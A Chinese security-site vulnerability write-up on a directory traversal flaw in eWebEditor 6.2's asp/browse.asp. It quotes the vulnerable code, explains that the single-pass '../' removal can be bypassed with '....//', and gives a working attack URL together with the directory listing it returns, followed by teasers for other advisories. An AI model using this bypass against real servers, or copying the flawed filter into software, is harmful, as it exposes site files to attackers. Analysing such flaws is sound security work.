eWebEditor 6.2 目录遍历漏洞(asp/browse.asp)

所属分类: 网络安全 / 漏洞分析 阅读数: 194
收藏 0 赞 0 分享
asp/browse.asp部分源码:

复制代码
代码如下:

Dim s_ReturnFlag, s_FolderType, s_Dir
Dim s_CurrDir
s_ReturnFlag = Trim(Request.QueryString("returnflag"))
s_FolderType = Trim(Request.QueryString("foldertype"))
s_Dir = Trim(Request("dir"))
Select Case s_FolderType
Case "upload"
s_CurrDir = sUploadDir
Case "shareimage"
sAllowExt = ""
s_CurrDir = sPathShareImage
Case "shareflash"
sAllowExt = ""
s_CurrDir = sPathShareFlash
Case "sharemedia"
sAllowExt = ""
s_CurrDir = sPathShareMedia
Case Else
s_FolderType = "shareother"
sAllowExt = ""
s_CurrDir = sPathShareOther
End Select
s_Dir = Replace(s_Dir, "\", "/")
'下面两行是对目录跳转的处理,漏洞存在于此处
s_Dir = Replace(s_Dir, "../", "") '替换../为空
s_Dir = Replace(s_Dir, "./", "") '替换./为空
If Left(s_Dir,1)="/" Then
s_Dir = ""
End If
Dim s_Dir2
s_Dir2 = Replace(s_Dir, "/", "\")
If s_Dir <> "" Then
If CheckValidDir(s_CurrDir & s_Dir2) = True Then
s_CurrDir = s_CurrDir & s_Dir2
Else
s_Dir = ""
End If
End If



代码对../和./进行过滤用来防止目录跳转,但可以通过构造参数饶过检测.由于检测替换只进行一次可以使用....//代替上级目录,程序替换后....//变成../

攻击代码示例:

http://localhost/asp/browse.asp?action=file&type=file&dir=.....///DiaLog&style=full650&cusdir=&foldertype=upload&returnflag=span_upload

跳转到上eWebEditor的DiaLog目录,查看返回页面的源文件:


复制代码
代码如下:

<HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><TITLE>eWebEditor</TITLE></head><body><script language=javascript>var arr = new Array();
arr[0]=new Array("about.htm", "1.85 KB","2009-05-29 16:27:06");
arr[1]=new Array("anchor.htm", "3.68 KB","2009-05-13 16:39:40");
arr[2]=new Array("art.htm", "49.55 KB","2009-05-13 16:39:40");
arr[3]=new Array("backimage.htm", "9.46 KB","2009-05-13 16:39:42");
arr[4]=new Array("browse.htm", "20.74 KB","2009-05-13 16:39:42");
arr[5]=new Array("dialog.js", "6.44 KB","2009-05-13 22:39:08");
arr[6]=new Array("emot.htm", "3.26 KB","2009-05-13 16:39:42");
arr[7]=new Array("EQ.htm", "3.48 KB","2009-05-14 00:02:20");
arr[8]=new Array("eWebEditorActiveX.CAB", "1118.08 KB","2009-05-14 00:18:40");
arr[9]=new Array("eWebEditorActiveXInstall.exe", "1190.72 KB","2009-04-11 23:12:48");
arr[10]=new Array("fieldset.htm", "4.11 KB","2009-05-13 16:39:42");
arr[11]=new Array("file.htm", "5.52 KB","2009-05-13 16:39:42");
arr[12]=new Array("findreplace.htm", "2.82 KB","2009-05-13 16:39:42");
arr[13]=new Array("flash.htm", "14.43 KB","2009-05-13 16:39:42");
arr[14]=new Array("fullscreen.htm", "0.84 KB","2009-05-13 16:39:42");
arr[15]=new Array("hyperlink.htm", "4.43 KB","2009-05-13 16:39:42");
arr[16]=new Array("iFrame.htm", "4.24 KB","2009-05-14 00:31:30");
arr[17]=new Array("img.htm", "13.25 KB","2009-05-13 16:39:42");
arr[18]=new Array("importexcel.htm", "5.87 KB","2009-05-13 16:39:42");
arr[19]=new Array("importword.htm", "8.44 KB","2009-05-13 16:39:42");
arr[20]=new Array("installactivex.htm", "2.02 KB","2009-05-13 16:39:42");
arr[21]=new Array("i_upload.htm", "7.95 KB","2009-05-13 22:41:40");
arr[22]=new Array("map.htm", "4.13 KB","2009-05-13 16:39:42");
arr[23]=new Array("marquee.htm", "2.44 KB","2009-05-13 16:39:42");
arr[24]=new Array("media.htm", "5.07 KB","2009-05-13 16:39:42");
arr[25]=new Array("owcexcel.htm", "2.64 KB","2009-05-13 16:39:42");
arr[26]=new Array("paragraph.htm", "5.95 KB","2009-05-13 16:39:42");
arr[27]=new Array("paste.htm", "4.50 KB","2009-05-13 16:39:42");
arr[28]=new Array("quickformat.htm", "13.58 KB","2009-05-13 16:39:42");
arr[29]=new Array("selcolor.htm", "14.93 KB","2009-05-13 16:39:42");
arr[30]=new Array("symbol.htm", "14.61 KB","2009-05-13 16:39:42");
arr[31]=new Array("table.htm", "11.71 KB","2009-05-13 16:39:42");
arr[32]=new Array("tablecell.htm", "7.98 KB","2009-05-13 16:39:42");
arr[33]=new Array("tablecellsplit.htm", "2.55 KB","2009-05-13 16:39:42");
arr[34]=new Array("template.htm", "4.50 KB","2009-05-13 16:39:42");
arr[35]=new Array("WebEQInstall.cab", "1123.39 KB","2009-05-14 00:16:16");
parent.setFileList('span_upload', 'upload', '../DiaLog', arr);</script></body></html>
更多精彩内容其他人还在看

OpenBSD处理畸形的IPv6数据多个远程拒绝服务漏洞

受影响系统: OpenBSD OpenBSD 4.2 OpenBSD OpenBSD 4.1 描述: OpenBSD是一款开放源代码Unix类操作系统。 OpenBSD处理畸形的IPv6数据时存在漏洞,远程攻击者可能利用此漏洞导致内核忙碌。
收藏 0 赞 0 分享

PunBB口令重置弱随机数绕过安全限制漏洞

PunBB是一款基于PHP的论坛程序。 PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。 如果用户忘记了口令的话,可使用PunBB的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激
收藏 0 赞 0 分享

Novell iPrint ienipp.ocx ActiveX 控件溢出漏洞

受影响系统: Novell iPrint Client for Windows 4.32 Novell iPrint Client for Windows 4.26 不受影响系统: Novell iPrint Client for Windows 4
收藏 0 赞 0 分享

Apple iPhoto 存在订阅远程格式串处理漏洞

受影响系统: Apple iPhoto '08 7.1 不受影响系统: Apple iPhoto 7.1.2 描述: ----------------------------------------------
收藏 0 赞 0 分享

Linux Kernel vmsplice_to_pipe本地权限提升漏洞

受影响系统: Linux kernel 2.6.17 - 2.6.24.1 不受影响系统: Linux kernel 2.6.24.2 描述: Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux K
收藏 0 赞 0 分享

Cisco Unified IP Phone SCCP及SIP 协议安全漏洞

受影响系统: Cisco Unified IP Phone 7971G Cisco Unified IP Phone 7970G Cisco Unified IP Phone 7961G Cisco Unified IP Phone 7960G Ci
收藏 0 赞 0 分享

Invision Power Board BBCode 处理 HTML注入漏洞

受影响系统: Invision PS IPB 2.3.4 描述: Invision Power Board是一个非常流行的PHP论坛程序。 IPB处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞攻击其他Web用户。 IPB没
收藏 0 赞 0 分享

BBSXP绕过过滤继续注入漏洞分析

漏洞分析: 官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射 Function HTMLEncode(fString) fString=Replace(fString,CHR(9),"") fString=Repla
收藏 0 赞 0 分享

新云CMS Online.asp页面过滤不严导致SQL注入漏洞

受影响系统: 最新版本 漏洞文件: /inc/online.asp 代码分析如下: OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip
收藏 0 赞 0 分享

CA BrightStor ARCserve Backup 存漏洞

受影响系统: Computer Associates BrightStor ARCserve Backup 11.5.2.0 (SP2) 描述: ----------------------------------------------------------
收藏 0 赞 0 分享
查看更多